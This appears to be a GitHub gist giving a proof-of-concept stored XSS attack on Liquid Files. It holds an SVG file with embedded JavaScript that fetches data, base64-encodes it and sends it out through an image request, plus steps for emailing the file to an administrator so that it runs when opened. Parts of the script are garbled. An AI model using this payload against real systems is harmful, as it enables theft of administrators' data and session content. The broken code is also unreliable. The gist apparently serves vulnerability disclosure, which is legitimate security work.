Skip to content

Instantly share code, notes, and snippets.


rodnt/xss-liquid-no-ext.gif Secret

Created Apr 4, 2021
What would you like to do?
XSS liquid files
Steps to reproduce
1 - Create a file without extension, with the content below inside
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">
<svg version="1.1" baseProfile="full" xmlns="">
<polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF" stroke="#0000FF"/>
<script type="text/javascript">
function a(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var data ='GET', '', true);
b64 = btoa(unescape(encodeURIComponent(data)));
var img = document.createElement('img');
img.src = '' + b64 + '.png';
2 - With an external user send an email with that file (without any extension) to admin or someone.
3 - With admin account go to menu click on "Data" inside Data menu click at "Messages" and inside Messages select the message that you at step 2. In the table click on the filename row over your file, the javascript code will be executed.

This comment has been minimized.

Copy link
Owner Author

@rodnt rodnt commented Apr 4, 2021


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment